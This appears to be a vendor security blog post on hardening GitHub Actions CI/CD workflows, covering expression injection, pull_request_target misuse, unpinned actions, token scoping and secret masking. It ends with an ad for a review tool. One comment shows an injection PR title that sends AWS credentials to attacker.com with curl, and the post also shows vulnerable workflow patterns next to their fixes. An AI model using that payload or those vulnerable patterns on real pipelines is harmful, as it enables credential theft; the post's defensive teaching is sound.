Security Blog

GitHub Actions Security: How to Lock Down Your CI/CD Pipeline

GitHub Actions workflows run with write access to your repos and full access to your secrets. Most teams ship them without a security review. Here's what attackers look for and how to harden yours.

github actionscicd securitydevsecopssupply chain

GitHub Actions workflows are some of the most privileged code in your repository. They run with access to every secret you've configured, can write to your repository, push to registries, and deploy to production. They're also almost never reviewed for security.

Supply chain attacks targeting CI/CD have increased significantly — compromising a workflow is often easier than compromising the application it builds. Here's what to watch for.

Risk 1: Untrusted input in run steps

The most dangerous pattern in GitHub Actions: using GitHub context variables — which can contain attacker-controlled content — inside a run step.

# Vulnerable: PR title could contain shell injection
- name: Check PR title
  run: |
    echo "PR title: ${{ github.event.pull_request.title }}"
    # Attacker sets title to: "; curl https://attacker.com/$(cat ~/.aws/credentials) #"

When a pull request is opened, github.event.pull_request.title is attacker-controlled. If it's interpolated into a shell command, that's command injection against your CI runner — which has access to your secrets.

# Fixed: use an environment variable, not direct interpolation
- name: Check PR title
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}
  run: |
    echo "PR title: $PR_TITLE"  # safe: env vars don't execute

This applies to any github.event.* field that comes from user input: PR title, PR body, issue title, comment body, branch name.

Risk 2: pull_request_target with checkout

pull_request_target runs in the context of the target repository (with access to secrets) but the workflow code comes from the PR branch. If the workflow checks out the PR branch and runs its code, an attacker can modify the workflow steps in their PR.

# Dangerous: pull_request_target + checking out PR code
on: pull_request_target
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}  # attacker's code!
      - run: npm install && npm test  # runs attacker's package.json scripts

If you need pull_request_target to access secrets (e.g., to post comments with a token), keep the workflow logic in the base branch and never execute code from the PR branch.

Risk 3: Unpinned third-party actions

Using a third-party action by tag (uses: some-org/some-action@v2) means you're running whatever code that tag points to — and tag references are mutable. An attacker who compromises the action's repository can change what @v2 points to.

# Vulnerable: tag is mutable
- uses: actions/checkout@v4

# Fixed: pin to full commit SHA
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683  # v4.2.2

Tools like Dependabot for Actions (configured in .github/dependabot.yml) can keep pinned SHA references up to date automatically:

version: 2
updates:
  - package-ecosystem: "github-actions"
    directory: "/"
    schedule:
      interval: "weekly"

Risk 4: Excessive GITHUB_TOKEN permissions

By default, the GITHUB_TOKEN in Actions has read and write permissions across your repository. Most workflows only need read access. Scope it down:

jobs:
  test:
    runs-on: ubuntu-latest
    permissions:
      contents: read
      pull-requests: write  # post PR comments only
    steps:
      ...

Set the default at the organisation or repository level to read-only, then grant write permissions only to the specific jobs that need them.

Risk 5: Secrets in logs

GitHub Actions masks registered secrets from logs — but only if they're accessed via ${{ secrets.MY_SECRET }}. If a secret's value appears in a log through another path (printed by a dependency, decoded from base64, or echoed in a debug step), it won't be masked.

# If the DB URL appears in a curl output or error message, it won't be masked
- run: curl ${{ secrets.DATABASE_URL }}/health

# Fix: explicitly mask derived values
- run: |
    decoded=$(echo "${{ secrets.BASE64_SECRET }}" | base64 -d)
    echo "::add-mask::$decoded"

Reviewing Actions workflows automatically

BattleTest's PR review includes workflow file analysis — flagging the patterns above when a .github/workflows/ file is modified. The most impactful checks: expression injection patterns, pull_request_target with checkout of head ref, and unpinned actions. These are the patterns that lead to supply chain compromises.

Try BattleTest

Catch this class of bug before it ships.

BattleTest reviews every PR for injection flaws, leaked secrets, and CVEs — then battle-tests your live infrastructure the way an attacker would.

Add automated workflow security review to your repos →

Free for public repos · Private repos from $20/mo · No credit card required